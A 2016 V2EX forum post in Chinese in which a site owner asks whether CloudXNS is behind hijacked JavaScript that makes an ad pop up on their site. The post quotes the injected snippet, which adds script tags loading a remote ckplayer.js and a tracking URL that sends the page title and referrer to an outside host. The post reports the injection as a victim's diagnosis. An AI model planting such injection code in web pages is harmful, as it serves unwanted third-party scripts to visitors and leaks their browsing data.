网站 JS 被劫持，是 cloudxns 的锅吗？

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

如果你希望学习 CDN 相关知识，那么建议你可以遍历以下软件的说明文档。

› NGINX

› cURL

这是一个创建于 2976 天前的主题，其中的信息可能已经有所发展或是发生改变。

打开网站，右下角弹出了一个广告第一反应是浏览器广告，按下 F12 ，刷新，发现 js 不对， wtf ？被黑了吗，看源码没有被修改，那么应该是劫持。 http://p1.bqimg.com/1949/a76f17c2e682a123.png http://p1.bqimg.com/1949/c6afcb938f08c356.png 下面是劫持代码

var a=function(b){var d=document,e=d.createElement('script');e.src=b;var f=d.getElementsByTagName('head'),i=(f&&f.length>=1&&f[0])||d.body;i.insertBefore(e,i.firstChild)};a("http://网址 /ckplayer.js?_veri=20151101");a("http://pj.iaoso.com/lib/query?src=t6413&t="+encodeURIComponent(document.title)+"&r="+encodeURIComponent(document.referrer)+"");

下面是 js 文件测速截图，只发现这个节点大小和别的节点不一样

http://p1.bqimg.com/1949/6a201f0cd17d317c.png

好久不发帖这个编辑器怎么变了

var

劫持

节点

编辑器

3 条回复 • 2016-12-23 20:38:31 +08:00